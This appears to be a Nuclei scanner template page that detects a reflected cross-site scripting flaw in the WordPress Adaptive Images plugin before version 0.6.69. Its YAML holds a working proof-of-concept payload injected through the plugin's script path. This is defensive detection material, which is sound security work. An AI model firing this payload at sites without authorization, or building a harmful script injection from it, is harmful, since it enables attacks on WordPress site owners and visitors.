WordPress Adaptive Images < 0.6.69 - Cross-Site Scripting

ID: wp-adaptive-xss

Severity: high

Author: dhiyaneshDK

Tags: wpscan,wordpress,xss,wp-plugin,wp

Description

WordPress Adaptive Images < 0.6.69 is susceptible to cross-site scripting because the plugin does not sanitize and escape the REQUEST_URI before outputting it back in a page.

YAML Source

id: wp-adaptive-xss

info:
  name: WordPress Adaptive Images < 0.6.69 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: high
  description: WordPress Adaptive Images < 0.6.69 is susceptible to cross-site scripting because the plugin does not sanitize and escape the REQUEST_URI before outputting it back in a page.
  reference:
    - https://wpscan.com/vulnerability/eef137af-408c-481c-8493-afe6ee2105d0
    - https://plugins.trac.wordpress.org/changeset/2655683
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: wpscan,wordpress,xss,wp-plugin,wp

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php/%3Cimg/src/onerror=alert(document.domain)%3E/?debug=true"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<img/src/onerror=alert(document.domain)>'
          - '<td>Image</td>'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044021f1f912a0c9560c23c30bb8fa06f0c8aec0c2b8cf027fd89d90a02bac10cba8c022100a4d051ea15e8f0d53c88fc077c294c51532be05e8dec0ae888ceffb97659debc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-adaptive-xss.yaml"

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